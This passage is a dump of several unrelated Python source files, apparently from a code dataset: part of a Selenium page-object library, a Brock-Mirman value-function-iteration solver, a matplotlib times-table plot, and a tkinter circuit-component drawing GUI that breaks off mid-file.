holmium.core.log.debug(\"locator:%s, query_string:%s, timeout:%d\" %\n (locator_type, query_string, timeout))\n \n @property\n def root(self):\n return self.root_fn()\n\n def get_element(self, method = None):\n\n if self.base_element:\n if isinstance(self.base_element, types.LambdaType):\n el = self.base_element()\n _meth = getattr(el, method.im_func.func_name)\n elif isinstance(self.base_element, Element):\n _meth = getattr(self.base_element.__get__(self, self.__class__), method.im_func.func_name)\n elif isinstance(self.base_element, WebElement):\n _meth = getattr(self.base_element, \"find_element\")\n else:\n holmium.core.log.error(\"unknown base_element type used: %s\" % type(self.base_element))\n else:\n _meth = method\n holmium.core.log.debug(\"looking up locator:%s, query_string:%s, timeout:%d\" %\n (self.locator_type, self.query_string, self.timeout))\n\n if self.iframe:\n Page.local.driver.switch_to_default_content()\n Page.local.driver.switch_to_frame(self.iframe)\n\n if self.timeout:\n try:\n WebDriverWait(self.root, self.timeout).until(lambda _: _meth(self.locator_type, self.query_string))\n except TimeoutException:\n holmium.core.log.debug(\"unable to find element %s after waiting for %d seconds\" % (self.query_string, self.timeout))\n return _meth(self.locator_type, self.query_string)\n\n\nclass Element(ElementGetter):\n \"\"\"\n Utility class to get a :class:`selenium.webdriver.remote.webelement.WebElement`\n by querying via one of :class:`holmium.core.Locators`\n \"\"\"\n\n def __get__(self, instance, owner):\n if not instance:\n return self\n try:\n return self.value_mapper(enhanced(self.get_element(self.root.find_element)))\n except NoSuchElementException:\n return None\n\nclass Elements(ElementGetter):\n \"\"\"\n Utility class to get a collection of :class:`selenium.webdriver.remote.webelement.WebElement`\n objects by querying via one of :class:`holmium.core.Locators`\n \"\"\"\n\n def __getitem__(self, idx):\n return lambda: self.__get__(self, self.__class__)[idx]\n\n def __get__(self, instance, owner):\n if not instance:\n return self\n try:\n return [self.value_mapper(enhanced(el)) for el in self.get_element(self.root.find_elements)]\n except NoSuchElementException:\n return []\n\n\nclass ElementMap(Elements):\n \"\"\"\n Used to create dynamic dictionaries based on an element locator specified by one of\n :class:`holmium.core.Locators`.\n\n The wrapped dictionary is an :class:`collections.OrderedDict` instance.\n\n :param lambda key: transform function for mapping a key to a WebElement in the collection\n :param lambda value: transform function for the value when accessed via the key.\n \"\"\"\n def __init__(self, locator_type, query_string=None, base_element=None, timeout =1\n , key = lambda el:el.text, value = lambda el:el):\n Elements.__init__(self, locator_type, query_string, base_element, timeout)\n self.key_mapper = key\n self.value_mapper = value\n\n def __get__(self, instance, owner):\n if not instance:\n return self\n try:\n return OrderedDict((self.key_mapper(el), self.value_mapper(enhanced(el))) for el in self.get_element(self.root.find_elements))\n except NoSuchElementException:\n return {}\n\n\n def __getitem__(self, key):\n return lambda:self.__get__(self, self.__class__)[key]\n\nclass Section(object):\n \"\"\"\n Base class to encapsulate reusable page sections::\n\n class MySection(Section):\n things = Elements( .... )\n\n class MyPage(Page):\n section_1 = MySection(Locators.CLASS_NAME, \"section\")\n section_2 = MySection(Locators.ID, \"unique_section\")\n\n \"\"\"\n def __init__(self, locator_type, query_string, iframe=None):\n self.locator_type = locator_type\n self.query_string = query_string\n self.iframe = iframe\n self.__root_val = None\n def __get__(self, instance, owner):\n def _root():\n if self.iframe:\n try:\n Page.get_driver().switch_to_default_content()\n Page.get_driver().switch_to_frame(self.iframe)\n except NoSuchFrameException:\n holmium.core.log.error(\"unable to switch to iframe %s\" % self.iframe)\n return self.root\n\n root_function = _root\n for element in inspect.getmembers(self.__class__):\n if issubclass(element[1].__class__, ElementGetter):\n element[1].root_fn = root_function\n return self\n @property\n def root(self):\n return self.__root_val or Page.get_driver().find_element(self.locator_type, self.query_string)\n\n @root.setter\n def root(self, val):\n self.__root_val = val\n\nclass Sections(Section, collections.Sequence):\n \"\"\"\n Base class for an Iterable view of a collection of :class:`holmium.core.Section`\n objects.\n \"\"\"\n def __init__(self, locator_type, query_string, iframe=None):\n Section.__init__(self, locator_type, query_string, iframe)\n \n def __getelements__(self):\n return Page.get_driver().find_elements(self.locator_type, self.query_string)\n \n def __iter__(self):\n for el in self.__getelements__():\n self.root = el \n yield self \n \n def __len__(self):\n return len(self.__getelements__())\n \n def __getitem__(self, idx):\n _idx = 0 \n for item in self:\n if idx == _idx:\n break \n _idx+=1 \n if idx > _idx:\n raise IndexError(\"Sections index (%d) out of range\" % idx)\n return self \n","sub_path":"holmium/core/pageobject.py","file_name":"pageobject.py","file_ext":"py","file_size_in_byte":11425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"605374919","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nThis program reads in paramter values and steady states from the file, \nILAfindss.pkl.\nIt then calculates the value function coefficients for the policy and jump function\napproximations using the VFI method.\nThe coefficients and time to solve are written to the file, ILAsolveVFI.pkl.\nThe baseline values have a 1 at the end of the variable name.\nThe values after the policy change have a 2 at the end. \n\"\"\"\n\nimport numpy as np\nimport timeit\nimport pickle as pkl\n\nfrom BMfuncs import Modeldefs\n\ndef optVF(i1, i2, Vf, params):\n # initialize maximum to a very big negative number\n maxval = -100000000000\n for i3 in range(0, knpts): # over k_t+1\n # find non-state variables\n Y, w, r, T, c, i, u = \\\n Modeldefs(kgrid[i3], kgrid[i1], zgrid[i2], params)\n # find value of Belman equation, starting with known utility now\n temp = u\n # add probability-weighted values of VF next period\n for i4 in range(0, znpts): # over z_t+1\n temp = temp + beta * Vf[i3,i4] * Pimat[i4,i2]\n # censor for complex or nan\n if np.iscomplex(temp):\n temp = -1000000000\n if np.isnan(temp):\n temp = -1000000000\n # if this value is better than maximum, overwrite\n if temp > maxval:\n maxval = temp\n Vfnew = temp\n Pf = kgrid[i3]\n return Vfnew, Pf\n\ndef findVF(Vf, paramlist):\n (knpts, znpts, kgrid, zgrid, params, Pimat) = paramlist\n \n # initialize value function and policy function\n Vfnew = np.zeros((knpts, znpts))\n Pf = np.zeros((knpts, znpts))\n \n # set VF iteration parameters\n ccrit = 1.0E-8\n count = 0\n dist = 100.\n maxwhile = 4000\n nconv = True \n \n # being iterations loop\n while (nconv):\n count = count + 1\n if count > maxwhile:\n break\n for i1 in range(0, knpts): # over kt\n for i2 in range(0, znpts): # over zt\n # call optimization function\n Vfnew[i1, i2], Pf[i1, i2] = optVF(i1, i2, Vf, params)\n \n # calculate the new distance measure, we use maximum absolute difference\n dist = np.amax(np.abs(Vf - Vfnew))\n if dist < ccrit:\n nconv = False\n # report the results of the current iteration\n print ('iteration: ', count, 'distance: ', dist)\n \n # replace the value function with the new one\n Vf = 1.0*Vfnew\n \n # report termination\n print ('Converged after', count, 'iterations') \n print ('Policy function at (', (knpts-1)/2, ',', (znpts-1)/2, ') \\\n should be', kgrid[int((knpts-1)/2)], \\\n 'and is', Pf[int((knpts-1)/2), int((znpts-1)/2)])\n \n return Vf, Pf\n\n# -----------------------------------------------------------------------------\n# READ IN VALUES FROM STEADY STATE CALCULATIONS\n\n# load steady state values and parameters\ninfile = open('BMfindss.pkl', 'rb')\n(bar1, bar2, params1, params2, VFIparams) = pkl.load(infile)\ninfile.close()\n\n# unpack\n[kbar1, Ybar1, wbar1, rbar1, Tbar1, cbar1, ibar1, ubar1] = bar1\n[kbar2, Ybar2, wbar2, rbar2, Tbar2, cbar2, ibar2, ubar2] = bar2\n[alpha, beta, tau, rho_z, sigma_z] = params1\ntau2 = params2[2]\n(zbar, Zbar, NN, nx, ny, nz, logX, Sylv) = VFIparams\n\n# set clock for time to calcuate functions\nstartsolve = timeit.default_timer()\n\n# set name for external files written\nname = 'BMsolveVFI_ser'\n\n# -----------------------------------------------------------------------------\n# BASELINE\n\nfrom rouwen import rouwen\n\nkfact= .05\n\n# set up Markov approximation of AR(1) process using Rouwenhorst method\nspread = 3. # number of standard deviations above and below 0\nznpts = 11\nzstep = 4.*spread*sigma_z/(znpts-1)\n\n# Markov transition probabilities, current z in cols, next z in rows\nPimat, zgrid = rouwen(rho_z, 0., zstep, znpts)\n\n# discretize k\nklow = (1-kfact)*kbar1\nkhigh = (1+kfact)*kbar1\nknpts = 11\nkgrid = np.linspace(klow, khigh, num = knpts)\n\nreadVF = False\n\n# initialize VF and PF\nif readVF:\n infile = open('BMsolveVFI.pkl', 'rb')\n pickled = pkl.load(infile)\n (coeffs1, coeffs2, timesolve) = pickled\n (Vf1, Pf1, coeffsPF1) = coeffs1 \n (Vf2, Pf2, coeffsPF2) = coeffs2\n infile.close()\nelse:\n Vf1 = np.ones((knpts, znpts)) * (-0.)\n\n# run the program to get the value function (VF1) \nparamlist = (knpts, znpts, kgrid, zgrid, params1, Pimat)\nVf1, Pf1 = findVF(Vf1, paramlist)\n\n# generate a history of Z's\nnobs = 150\nZhist = np.zeros((nobs,1))\nfor t in range(1, nobs):\n Zhist[t,0] = rho_z*Zhist[t,0] + sigma_z*np.random.normal(0., 1.)\n \n# put SS values and starting values into numpy vectors\nXYbar = np.array([kbar1])\nX0 = np.array([kbar1])\n\n\n# -----------------------------------------------------------------------------\n# CHANGE POLICY\n\n# create meshgrid\nzmesh, kmesh = np.meshgrid(zgrid, kgrid)\n\n\n# initialize \nif readVF:\n Vf2 = 1.*Vf2\nelse:\n Vf2 = Vf1*1.\n\n# discretize k\nklow = (1-kfact)*kbar2\nkhigh = (1+kfact)*kbar2\nkgrid2 = np.linspace(klow, khigh, num = knpts)\n\n# run the program to get the value function (VF2)\nparamlist = (knpts, znpts, kgrid2, zgrid, params2, Pimat)\nVf2, Pf2 = findVF(Vf2, paramlist)\n\n\nPfdiff = Pf1 - Pf2\n\n# create meshgrid\nkmesh, zmesh = np.meshgrid(kgrid, zgrid)\n\n# create independent variables matrix (X)\nX = np.ones(knpts*znpts)\n\ntemp = kmesh.flatten()\nX = np.vstack((X,temp))\n\ntemp = kmesh**2\ntemp = temp.flatten()\nX = np.vstack((X,temp))\n\ntemp = kmesh**3\ntemp = temp.flatten()\nX = np.vstack((X,temp))\n\ntemp = zmesh.flatten()\nX = np.vstack((X,temp))\n\ntemp = zmesh**2\ntemp = temp.flatten()\nX = np.vstack((X,temp))\n\ntemp = zmesh**3\ntemp = temp.flatten()\nX = np.vstack((X,temp))\n\ntemp = kmesh*zmesh\ntemp = temp.flatten()\nX = np.vstack((X,temp))\n\ntemp = kmesh**2*zmesh\ntemp = temp.flatten()\nX = np.vstack((X,temp))\n\ntemp = kmesh*zmesh**2\ntemp = temp.flatten()\nX = np.vstack((X,temp))\n\n# create 4 different dependent variables matrices (y's)\nYPF1 = Pf1.flatten()\nYPF2 = Pf2.flatten()\n\n# get OLS coefficient\ncoeffsPF1 = np.dot(np.linalg.inv(np.dot(X,np.transpose(X))),np.dot(X,YPF1))\ncoeffsPF1 = coeffsPF1.reshape((10,1))\n\ncoeffsPF2 = np.dot(np.linalg.inv(np.dot(X,np.transpose(X))),np.dot(X,YPF2))\ncoeffsPF2 = coeffsPF2.reshape((10,1))\n\n# calculate time to solve for functions\nstopsolve = timeit.default_timer()\ntimesolve = stopsolve - startsolve\nprint('time to solve: ', timesolve)\n\n# -----------------------------------------------------------------------------\n# SAVE RESULTS\n\n# save grids and polynomials\noutput = open(name + '.pkl', 'wb')\n\n# set up coefficient list before the policy change\ncoeffs1 = (Vf1, Pf1, coeffsPF1)\n\n# set up coefficient list after the policy change\ncoeffs2 = (Vf2, Pf2, coeffsPF2)\n\n# write timing\npkl.dump((coeffs1, coeffs2, timesolve), output)\n\noutput.close()","sub_path":"BrockMirman/BMsolveVFI_11_ser.py","file_name":"BMsolveVFI_11_ser.py","file_ext":"py","file_size_in_byte":6818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"452011396","text":"# -*- coding: utf-8 -*-\r\n\r\nindexs = list(range(1,10))\r\nvalues = []\r\n\r\nfor i in range(2, 10) :\r\n gugudan = []\r\n for j in range(1, 10) :\r\n gugudan.append(i*j)\r\n values.append(gugudan)\r\n \r\nfrom matplotlib import pyplot as plt\r\n\r\nstart_dan = 2\r\nstart_index = 0\r\n\r\nfor i in range(4) :\r\n for j in range(2) :\r\n plt.subplot(4,2,start_index+1)\r\n plt.plot(indexs, values[start_index], label=f\"{start_dan} DAN\")\r\n plt.legend(loc=\"upper left\")\r\n \r\n start_dan += 1\r\n start_index += 1\r\n \r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"day_07/matplotlib_10.py","file_name":"matplotlib_10.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"299943908","text":"import tkinter, os\t,tkinter.messagebox,tkinter.simpledialog,tkinter.ttk\nfrom tkinter.simpledialog import askinteger, askfloat, askstring\nfrom tkinter.filedialog import askopenfilename, askopenfilenames, asksaveasfilename, askdirectory\nfrom tkinter.messagebox import showinfo, showwarning, showerror\nimport time\nfrom component_creat import CreatComponent\n\nLOGO_PATH = \"D:\\\\chencan\\\\python\\\\PYECourse\\\\3\\\\venv\\\\resource\\\\logo.png\"\t\t\t# 图标\nCAPACITOR_PATH = \"D:\\\\chencan\\\\python\\\\PYECourse\\\\3\\\\venv\\\\resource\\\\2.png\"\nRESISTOR_PATH = \"D:\\\\chencan\\\\python\\\\PYECourse\\\\3\\\\venv\\\\resource\\\\1.png\"\nINDUCTOR_PATH = \"D:\\\\chencan\\\\python\\\\PYECourse\\\\3\\\\venv\\\\resource\\\\3.png\"\nclass MainForm: \t\t\t\t\t\t\t# 主窗体\n def __init__(self): \t\t\t\t\t\t# 构造方法\n self.root = tkinter.Tk() \t\t\t\t\t# 创建窗体\n self.root.title(\"这是一个界面\") \t\t\t\t# 设置窗体标题\n self.root.geometry(\"1000x1000\") \t\t\t\t\t# 设置主窗体大小\n self.root.maxsize(1000, 1000) \t\t\t\t\t# 设置窗体最大尺寸\n self.root[\"background\"] = \"LightSlateGray\" \t\t\t\t# 设置背景颜色\n self.root.protocol(\"WM_DELETE_WINDOW\",self.close_handle) # 设置protocol监听,进行关闭的提示\n # self.my_text() #显示文本输入框\n self.create_menu()\n\n self.canvas_show_nemu = tkinter.Canvas(self.root, height=50, width=500) # 创建绘图板 电感\n self.canvas_show_information = tkinter.Canvas(self.root, height=100, width=250) # 信息显示栏\n #######################################################################\n\n self.canvas_write = tkinter.Canvas(self.root, height=800, width=1000) # 创建绘图板\n\n self.canvas_show_nemu.pack(side='top', fill='x', padx=5, pady=5) # 画布显示\n self.canvas_show_information.pack(side='left', expand='no', fill='y', padx=5, pady=5) # 画布显示\n\n self.canvas_write.pack(side='right', expand='yes', padx=5, pady=5) # 画布显示\n\n self.show_canvas() #显示界面\n\n\n self.show_button_capacitor() # 显示各个电阻电容的button\n self.show_button_inductor()\n self.show_button_resistor()\n\n # self.my_text()\n\n\n self.combobox()\n\n self.getMyEntry()\n\n self.root.mainloop()\n\n def rtnkey(event=None):\n print(e.get())\n def show_canvas(self):\n # self.canvas_show_nemu = tkinter.Canvas(self.root, height=50, width=500) # 创建绘图板 电感\n # self.canvas_show_information = tkinter.Canvas(self.root,height=100, width=250) #信息显示栏\n # #######################################################################\n #\n # self.canvas_write = tkinter.Canvas(self.root, height=800, width=600) # 创建绘图板\n\n\n\n self.canvas_write.bind(\"\",)\n\n for xd in range(3):\n for yd in range(3):\n num = 3* xd + yd + 1\n creat_text_x = 100 + 250 * xd + 20\n creat_text_y = 100 + 250 * yd - 20\n CreatComponent.show_create_text(self.canvas_write, creat_text_x+10, creat_text_y,num) #打印编号\n CreatComponent.Dotframe(self.canvas_write, creat_text_x -20, creat_text_y +20, 100, 20) # 横向(2,1)\n\n CreatComponent.show_create_text(self.canvas_write, creat_text_x-70, creat_text_y+80, num+9) # 打印编号\n\n CreatComponent.Dotframe(self.canvas_write, creat_text_x -20, creat_text_y +20, 20, 100) # 纵向\n\n # CreatComponent.Dotframe(self.canvas_write, creat_text_x - 20+500, creat_text_y + 20, 20, 100) # 纵向\n\n\n # CreatComponent.Dotframe(self.canvas_write, creat_text_x - 20 , creat_text_y + 20 +250, 100, 20) # 横向\n\n\n # #一步一步打印 分析\n # # 利用create_line()在画布上绘制直线\n # CreatComponent.Dotframe(self.canvas_write,100,100,100,20)#横向(1,1)\n # # CreatComponent.show_create_text(self.canvas_write,120,80,1)\n #\n # CreatComponent.Dotframe(self.canvas_write,350,100,100,20)#横向(1,2)\n # # CreatComponent.show_create_text(self.canvas_write, 370, 80, 2)\n # CreatComponent.Dotframe(self.canvas_write,600,100,100,20)#横向(1,3)\n # # CreatComponent.show_create_text(self.canvas_write,620,80,3)\n\n # CreatComponent.Dotframe(self.canvas_write, 100, 350, 100, 20) # 横向(2,1)\n # CreatComponent.Dotframe(self.canvas_write, 350, 350, 100, 20) # 横向(2,2)\n # CreatComponent.Dotframe(self.canvas_write, 600, 350, 100, 20) # 横向(2,3)\n\n # CreatComponent.Dotframe(self.canvas_write, 100, 600, 100, 20) # 横向(3,1)\n # CreatComponent.Dotframe(self.canvas_write, 350, 600, 100, 20) # 横向(3,2)\n # CreatComponent.Dotframe(self.canvas_write, 600, 600, 100, 20) # 横向(3,3)\n #\n # CreatComponent.Dotframe(self.canvas_write, 100, 100, 20, 100) # 纵向(1,1)\n # CreatComponent.Dotframe(self.canvas_write,350,100,20,100)#纵向(2,1)\n # CreatComponent.Dotframe(self.canvas_write, 600, 100, 20, 100) # 纵向(3,1)\n #\n # CreatComponent.Dotframe(self.canvas_write, 100, 350, 20, 100) # 纵向(2,1)\n # CreatComponent.Dotframe(self.canvas_write, 350,350,20,100) # 纵向(2,2)\n # CreatComponent.Dotframe(self.canvas_write, 600, 350, 20, 100) # 纵向(3,2)\n self.canvas_show_nemu.create_text(500, 50, text=\"请选择器件信息:\", fill=\"yellow\", font=(\"微软雅黑\", 12))\n\n self.image_inductor = tkinter.PhotoImage(file=INDUCTOR_PATH) # 底图对象\n self.canvas_show_nemu.create_image((0, 0), anchor=tkinter.NW) # 图像\n self.image_resistor = tkinter.PhotoImage(file=RESISTOR_PATH) # 底图对象\n self.image_capacitor = tkinter.PhotoImage(file=CAPACITOR_PATH) # 底图对象\n\n # self.canvas_show_nemu.pack(side='top', fill='x', padx=5, pady=5) # 画布显示\n # self.canvas_show_information.pack(side='left', expand='no', fill='y', padx=5, pady=5) # 画布显示\n #\n # self.canvas_write.pack(side='right', expand='yes', padx=5, pady=5) # 画布显示\n\n #######################################################################\n\n #x 鼠标的x y 鼠标的y\n def show(event, xx, yy,canvas):\n event.x, event.y\n if (xx > 150 and yy > 100):\n CreatComponent.resistor(canvas,150,100,150,20)\n\n #######################################################################\n\n\n def show_button_inductor(self):\n # self.image_inductor = tkinter.PhotoImage(file=INDUCTOR_PATH) # 底图对象\n self.button_inductor = tkinter.Button(self.canvas_show_information, height=80, width=150, text=\"电感\", image=self.image_inductor,\n compound=\"bottom\", fg=\"black\", font=(\"微软雅黑\", 10)) # 定义按钮\n self.button_inductor.pack(side='top', anchor='sw',padx=5, pady=5) # 按钮显示\n self.button_inductor.bind(\"\", lambda event: self.event_handle(event)) # 事件处理\n def show_button_resistor(self):\n self.button_resistor = tkinter.Button(self.canvas_show_information,height=80, width=150 , text=\"电阻\", image=self.image_resistor,\n compound=\"bottom\", fg=\"black\", font=(\"微软雅黑\", 10)) # 定义按钮\n self.button_resistor.pack(side='top', anchor='sw', fill='x',padx=5, pady=5) # 按钮显示\n def show_button_capacitor(self):\n self.button_capacitor = tkinter.Button(self.canvas_show_information,height=80, width=150 , text=\"电容\", image=self.image_capacitor,\n compound=\"bottom\", fg=\"black\", font=(\"微软雅黑\", 10)) # 定义按钮\n self.button_capacitor.pack(side='top', anchor='sw',padx=5, pady=5) # 按钮显示\n\n \"\"\"\n 范例函数:绑定电感的点击事件的函数\n \"\"\"\n\n def event_button(self):\n self.button_inductor.bind(\"\", lambda event: self.event_handle(event)) # 事件处理\n #下拉框\n def combobox(self):\n self.frame_show_combobox = tkinter.Frame(self.canvas_show_nemu,height=50, width=80,bg=\"yellow\") # 创建Frame\n tkinter.Label(self.frame_show_combobox, text=\"请选择器件:\", font=(\"微软雅黑\", 12),\n justify=\"left\").grid(row=0, column=0, sticky=tkinter.W) # 显示标签\n equ_tuple = (\"电阻\", \"电容\", \"电感\",\"断路\",\"短路\") # 下拉项\n self.equ_combobox = tkinter.ttk.Combobox(self.frame_show_combobox, height=5, width=15, values=equ_tuple) # 列表项\n self.equ_combobox.bind(\"<>\", self.show_data) # 选项改变\n self.equ_combobox.grid(row=0, column=1) # 显示组件\n\n\n self.frame_show_combobox.grid(row=0, column=0, sticky=tkinter.W) # Frame显示\n self.content = tkinter.StringVar() # 修改内容\n tkinter.Label(self.canvas_show_nemu, textvariable=self.content, font=(\"微软雅黑\", 17), justify=\"right\").grid(row=2, column=0, sticky=tkinter.W) # 显示标签\n\n self.frame_show_buttom = tkinter.Frame(self.canvas_show_nemu, height=50, width=80, bg=\"yellow\") # 创建Frame\n self.add_button()\n self.frame_show_buttom.grid(row=1, column=0,sticky=tkinter.W)\n def show_data(self, event): # 事件处理\n get_ifo= self.equ_combobox.get()\n eqi_ifo = [\"电感\", \"电容\", \"电阻\",\"断路\",\"短路\"] # 候选列表\n # 我就在information布局中加载button\n if(get_ifo == \"电感\"):\n # self.show_button_inductor()\n self.canvas_write.delete(27)\n CreatComponent.inductor(self.canvas_write, 400, 100, 150, 20)\n if (get_ifo == \"电容\"):\n self.canvas_write.delete(19)\n CreatComponent.capacitor(self.canvas_write,150,600,150,20)\n if (get_ifo == \"电阻\"):\n # self.show_button_resistor()\n self.canvas_write.delete(15)\n CreatComponent.resistor(self.canvas_write,100,400,20,150)\n if(get_ifo == \"断路\"):\n self.canvas_write.delete(67)\n if (get_ifo == \"短路\"):\n CreatComponent.myline(self.canvas_write, 400, 100, 300, 100)\n\n\n self.content.set(\"你选择的器件 : %s\" % self.equ_combobox.get()) # 内容显示\n def add_button(self):\n eqi_ifo = [\"添加>>\", \"取消>>\", \"测试>>\"] # 候选列表\n for idx, val in enumerate(eqi_ifo):\n self.add_button = tkinter.Button(self.frame_show_buttom, text=val,\n fg=\"black\", font=(\"微软雅黑\", 11)) # 批量操作按钮\n self.add_button.pack(side=\"left\",anchor='nw',padx=5, pady=5) # 组件显示\n # 单行文本框获取值\n def getMyEntry(self):\n self.my_entry = tkinter.Frame(self.canvas_show_nemu, bg=\"yellow\", height=800, width=300)\n self.my_entry.grid(row=0, column=1,rowspan=3, columnspan=3,\n sticky=\"E\", padx=5, pady=5) # Frame显示\n tkinter.Label(self.my_entry, text=\"请输入你要的器件信息:格式为R/L/C-1-X-Y--50Ω\", font=(\"微软雅黑\", 12),\n justify=\"left\").pack(side='left', expand='no', anchor='nw', padx=5, pady=5) # 显示标签\n self.input_mytext = tkinter.StringVar()\n self.inputEntry = tkinter.Entry(self.my_entry, borderwidth=5, width=50, textvariable=self.input_mytext)\n self.inputEntry.pack(side='top', expand='no', anchor='nw', padx=5, pady=5)\n self.inputEntry.bind('', self.OK)\n\n def OK(self, event):\n self.my_gettext = self.input_mytext.get()\n print(self.my_gettext)\n print(type(self.my_gettext))\n print(type(self.my_gettext.split(\"-\")))\n print(self.my_gettext.split(\"-\"))\n \n mylist = self.my_gettext.split(\"-\")\n\n #测试用户的输入并在后台进行显示\n for i, val in enumerate(mylist):\n print(\"序号:%s 值:%s\" % (i + 1, val))\n\n\n\n self.num = mylist[1]\n\n\n\n\n self.equ = mylist[0]\n\n self.move_canvas = tkinter.Canvas(self.canvas_write, width=100, height=100, bg='white')\n #判断是电阻还是电容或者是电感\n if self.equ == 'C':\n if self.num == \"1\":\n self.canvas_write.delete(3)\n CreatComponent.capacitor(self.canvas_write,150,100,150,20)\n if self.num == \"2\":\n self.canvas_write.delete(11)\n CreatComponent.capacitor(self.canvas_write, 150, 350, 150, 20)\n if self.num == \"3\":\n self.canvas_write.delete(19)\n CreatComponent.capacitor(self.canvas_write,150,600,150,20)\n if self.num == \"4\":\n self.canvas_write.delete(27)\n CreatComponent.capacitor(self.canvas_write, 400, 100, 150, 20)\n if self.num == \"5\":\n self.canvas_write.delete(35)\n CreatComponent.capacitor(self.canvas_write, 400, 350, 150, 20)\n if self.num == \"6\":\n self.canvas_write.delete(43)\n CreatComponent.capacitor(self.canvas_write, 400, 600, 150, 20)\n if self.num == \"7\":\n self.canvas_write.delete(51)\n CreatComponent.capacitor(self.canvas_write, 650, 100, 150, 20)\n if self.num == \"8\":\n self.canvas_write.delete(59)\n CreatComponent.capacitor(self.canvas_write, 650, 350, 150, 20)\n if self.num == \"9\":\n self.canvas_write.delete(67)\n CreatComponent.capacitor(self.canvas_write, 650, 600, 150, 20)\n if self.num == \"10\":\n self.canvas_write.delete(7)\n CreatComponent.capacitor(self.canvas_write, 100, 150, 20, 150)\n if self.num == \"11\":\n self.canvas_write.delete(15)\n CreatComponent.capacitor(self.canvas_write, 100, 400, 20, 150)\n if self.num == \"12\":\n self.canvas_write.delete(23)\n CreatComponent.capacitor(self.canvas_write, 100, 650, 20, 150)\n else:\n pass\n # self.components = CreatComponent.capacitor(self.move_canvas, x=20, y=20, xlen=100, ylen=20)\n # self.move_canvas.pack(side='top', anchor='nw')\n # # self.info_lable_No = tkinter.Label(self.move_canvas, text=self.component_info.No)\n # # self.info_lable_No.place(x=0,y=0)\n # self.move_canvas.bind(\"\", self.MoveComponent)\n # self.move_canvas.bind('', self.RightClickMenu)\n # self.move_canvas.bind('', self.doubleClick)\n\n elif self.equ == 'R':\n\n if self.num == \"1\":\n self.canvas_write.delete(3)\n CreatComponent.resistor(self.canvas_write, 150, 100, 150, 20)\n if self.num == \"2\":\n self.canvas_write.delete(11)\n CreatComponent.resistor(self.canvas_write, 150, 350, 150, 20)\n if self.num == \"3\":\n self.canvas_write.delete(19)\n CreatComponent.resistor(self.canvas_write, 150, 600, 150, 20)\n if self.num == \"4\":\n self.canvas_write.delete(27)\n CreatComponent.resistor(self.canvas_write, 400, 100, 150, 20)\n if self.num == \"5\":\n self.canvas_write.delete(35)\n CreatComponent.resistor(self.canvas_write, 400, 350, 150, 20)\n if self.num == \"6\":\n self.canvas_write.delete(43)\n CreatComponent.resistor(self.canvas_write, 400, 600, 150, 20)\n if self.num == \"7\":\n self.canvas_write.delete(51)\n CreatComponent.resistor(self.canvas_write, 650, 100, 150, 20)\n if self.num == \"8\":\n self.canvas_write.delete(59)\n CreatComponent.resistor(self.canvas_write, 650, 350, 150, 20)\n if self.num == \"9\":\n self.canvas_write.delete(67)\n CreatComponent.resistor(self.canvas_write, 650, 600, 150, 20)\n if self.num == \"10\":\n self.canvas_write.delete(7)\n CreatComponent.resistor(self.canvas_write, 100, 150, 20, 150)\n if self.num == \"11\":\n self.canvas_write.delete(15)\n CreatComponent.resistor(self.canvas_write, 100, 400, 20, 150)\n if self.num == \"12\":\n self.canvas_write.delete(23)\n CreatComponent.resistor(self.canvas_write, 100, 650, 20, 150)\n else:\n pass\n #\n # self.components = CreatComponent.resistor(self.move_canvas, x=20, y=20, xlen=100, ylen=20)\n # self.move_canvas.pack(side='top', anchor='nw')\n # self.move_canvas.bind(\"\", self.MoveComponent)\n # self.move_canvas.bind('', self.RightClickMenu)\n # self.move_canvas.bind('', self.doubleClick)\n\n elif self.equ == \"L\":\n\n if self.num == \"1\":\n self.canvas_write.delete(3)\n CreatComponent.inductor(self.canvas_write, 150, 100, 150, 20)\n if self.num == \"2\":\n self.canvas_write.delete(11)\n CreatComponent.inductor(self.canvas_write, 150, 350, 150, 20)\n if self.num == \"3\":\n self.canvas_write.delete(19)\n CreatComponent.inductor(self.canvas_write, 150, 600, 150, 20)\n if self.num == \"4\":\n self.canvas_write.delete(27)\n CreatComponent.inductor(self.canvas_write, 400, 100, 150, 20)\n if self.num == \"5\":\n self.canvas_write.delete(35)\n CreatComponent.inductor(self.canvas_write, 400, 350, 150, 20)\n if self.num == \"6\":\n self.canvas_write.delete(43)\n CreatComponent.inductor(self.canvas_write, 400, 600, 150, 20)\n if self.num == \"7\":\n self.canvas_write.delete(51)\n CreatComponent.inductor(self.canvas_write, 650, 100, 150, 20)\n if self.num == \"8\":\n self.canvas_write.delete(59)\n CreatComponent.inductor(self.canvas_write, 650, 350, 150, 20)\n if self.num == \"9\":\n self.canvas_write.delete(67)\n CreatComponent.inductor(self.canvas_write, 650, 600, 150, 20)\n if self.num == \"10\":\n self.canvas_write.delete(7)\n CreatComponent.inductor(self.canvas_write, 100, 150, 20, 150)\n if self.num == \"11\":\n self.canvas_write.delete(15)\n CreatComponent.inductor(self.canvas_write, 100, 400, 20, 150)\n if self.num == \"12\":\n self.canvas_write.delete(23)\n CreatComponent.inductor(self.canvas_write, 100, 650, 20, 150)\n else:\n pass\n\n # self.components = CreatComponent.inductor(self.move_canvas, x=20, y=20, xlen=100, ylen=20)\n # self.move_canvas.pack(side='top', anchor='nw')\n # self.move_canvas.bind(\"\", self.MoveComponent)\n # self.move_canvas.bind('', self.RightClickMenu)\n # self.move_canvas.bind('', self.doubleClick)\n else:\n tkinter.messagebox.showinfo(title=\"提示\",\n message=\"轻按照格式输入要生成的期间!格式为:1-X-Y-R/L/C-50Ω\")\n\n\n ##############################\n #显示器件的值\n # equ_ifo = mylist[4]\n # if (mylist[3] == \"L\"):\n # input_message = mylist[4] + \"H\"\n # elif (mylist[3] == \"C\"):\n # input_message = mylist[4] + \"F\"\n # elif (mylist[3] == \"R\"):\n # input_message = mylist[4] + \"Ω\"\n # else:\n # tkinter.messagebox.showinfo(title=\"提示\",\n # message=\"轻按照格式输入要生成的期间!格式为:1-X-Y-R/L/C-50Ω\")\n #\n # self.label_text = tkinter.Label(self.canvas_write, text=input_message, bg=\"#223011\", font=(\"微软雅黑\", 